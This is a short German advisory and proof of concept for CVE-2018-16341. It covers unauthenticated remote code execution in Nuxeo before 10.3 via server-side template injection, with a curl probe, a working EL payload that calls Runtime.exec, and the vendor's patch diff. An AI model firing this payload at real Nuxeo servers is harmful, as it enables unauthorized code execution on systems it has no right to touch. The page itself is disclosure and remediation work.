
CVE-2018-16341 - Nuxeo Remote Code Execution ohne Authentifizierung mittels Server Side Template Injection
Nuxeo Authentifizierungsumgehung Remote Code Execution < 10.3 mittels einer SSTI - CVE-2018-16341

Detaillierte Analyse (nicht englisch):
Sicherheitshinweis:
Hinweis: Die Version von Nuxeo 9.x wird von Nuxeo nicht mehr unterstützt, aber es wurde ein Hotfix für die Version 9.x bereitgestellt. Meinerseits war die Version 9.10 verwundbar.
Dieser PoC nutzt eine Server Side Template Injection (SSTI) aus, um eine RCE zu erreichen, die sich in der Datei NuxeoUnknownResource.java befindet.
curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}
Behebung
@@ -94,8 +92,13 @@ public void connect() throws IOException {
@Override
public InputStream getInputStream() throws IOException {
+ String message = "ERROR: facelet not found";
+ // NXP-25746
+ if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+ message += " at '" + path + "'";
+ }
String msg = "<span><span style=\"color:red;font-weight:bold;\">"
- + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+ + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
return new ByteArrayInputStream(msg.getBytes());
}
}